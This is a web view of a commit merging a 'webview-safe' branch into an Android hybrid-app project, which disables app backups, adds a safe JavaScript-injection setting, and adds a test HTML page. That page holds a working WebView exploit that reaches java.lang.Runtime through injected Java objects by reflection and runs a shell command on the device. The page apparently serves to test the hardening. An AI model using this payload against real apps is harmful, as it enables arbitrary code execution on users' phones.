首页 探索 帮助
登录
ipu
/
android-share
关注 6
点赞 0
派生 0
代码 工单管理 1 合并请求 1 提交历史 133 版本发布 4 Wiki
浏览代码

Merge remote-tracking branch 'origin/webview-safe'

Conflicts:
	ipu-client/assets/mobile-config.xml
	push-server/.gitignore
yangbiao 9 年之前
父节点
a2591ca7bd 32dbe7a7b1
当前提交
b3d86e918c
共有 7 个文件被更改，包括 43 次插入 和 3 次删除
合并视图 显示文件统计
  1. 1 0
      display-client/src/com/ai/mobile/display/MainActivity.java
  2. 1 1
      ipu-client/AndroidManifest.xml
  3. 3 1
      ipu-client/assets/mobile-config.xml
  4. 二进制
      ipu-server/web/WEB-INF/lib/wade-mobile-server.jar
  5. 3 0
      ipu-server/web/biz/js/Index.js
  6. 34 0
      ipu-server/web/template/webapp/ipu/Index.html.0
  7. 1 1
      push-server/.gitignore

+ 1 - 0
display-client/src/com/ai/mobile/display/MainActivity.java
查看文件

18 
	public void onCreate(Bundle savedInstanceState) {
 18 
	public void onCreate(Bundle savedInstanceState) {
19 
		setTheme(R.style.Theme_Sherlock_Light);
 19 
		setTheme(R.style.Theme_Sherlock_Light);
20
20
21
21 
		if (AppRecord.isFirst(this) && !MobileUtil.checkWifiActive(this)) {
 22 
		if (AppRecord.isFirst(this) && !MobileUtil.checkWifiActive(this)) {
22 
			ConfirmBlockDialog dialog = new ConfirmBlockDialog(this, "下载提醒",
 23 
			ConfirmBlockDialog dialog = new ConfirmBlockDialog(this, "下载提醒",
23 
					"即将下载应用资源,连接wifi将为您节省流量,是否继续下载");
 24 
					"即将下载应用资源,连接wifi将为您节省流量,是否继续下载");

+ 1 - 1
ipu-client/AndroidManifest.xml
查看文件

38 
    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
 38 
    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
39
39
40 
    <application
 40 
    <application
41 
        android:allowBackup="true"
41 
        android:allowBackup="false"
42 
        android:icon="@drawable/ic_launcher"
 42 
        android:icon="@drawable/ic_launcher"
43 
        android:label="@string/app_name"
 43 
        android:label="@string/app_name"
44 
        android:theme="@style/AppTheme" >
 44 
        android:theme="@style/AppTheme" >

+ 3 - 1
ipu-client/assets/mobile-config.xml
查看文件

39 
	<config name="loadurl_timeout" value="20000"/>
39 
	<config name="loadurl_timeout" value="20000"/>
40 
	<!-- 非必须，默认false。打开调试模式，不再比对资源版本，客户端每次下载所有资源-->
40 
	<!-- 非必须，默认false。打开调试模式，不再比对资源版本，客户端每次下载所有资源-->
41 
	<config name="is_debug" value="false"/>
41 
	<config name="is_debug" value="false"/>
42 
</configs>
42 
	<!-- 安全的进行js对象注入，默认true -->
43 
	<config name="safe_inject" value="true" />
44 
</configs>

二进制
ipu-server/web/WEB-INF/lib/wade-mobile-server.jar
查看文件


+ 3 - 0
ipu-server/web/biz/js/Index.js
查看文件

5 
		alert("变成了DataMap");
5 
		alert("变成了DataMap");
6 
		alert("变为字符串：" + resultData.toString());
6 
		alert("变为字符串：" + resultData.toString());
7 
	});*/
7 
	});*/
8 
/*	Common.get(function(){
9 
		alert("数据：" + PluginManager);
10 
	},"aa");*/
8 
	var menus = $("#menuList").children();
11 
	var menus = $("#menuList").children();
9 
	$.each(menus, function(index, item) {
12 
	$.each(menus, function(index, item) {
10 
		var obj = $(item);
13 
		var obj = $(item);

+ 34 - 0
ipu-server/web/template/webapp/ipu/Index.html.0
查看文件

1 
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
2 
<html>
3 
	<head>
4 
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
5 
		<title></title>
6 
	</head>
7 
	<body>
8 
	<h1>ABCDDD</h1>
9 
	</body>
10 
	<script type="text/javascript">
11 
		function getContents(inputStream){
12 
			var contents = "";
13 
			var b = inputStream.read();
14 
			while(b != -1){
15 
				var bString = String.fromCharCode(b);
16 
				contents += bString;
17 
				contents += "\n";
18 
				b = inputStream.read();
19 
			}
20 
			return contents;
21 
		}
22 
		function execute(cmdArgs){
23 
			for (var obj in window) {
24 
				if ("getClass" in window[obj]){
25 
					var r = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
26 
					document.write(obj + "<br />");
27 
					document.write(window[obj] + "<br />" );
28 
					document.write(getContents(r.getInputStream()) +"<br /><br />");
29 
				}
30 
			}
31 
		}
32 
		execute(["/system/bin/sh","-c","echo 'Hello world' > /sdcard/__mytest.txt__ &&  ls  /sdcard/"]);
33 
	</script>
34 
</html>

+ 1 - 1
push-server/.gitignore
查看文件

1 
/push.war
 1 
/push.war
2 
/.classpath
 2 
/.classpath
3 
/bin/*
3 
/bin/*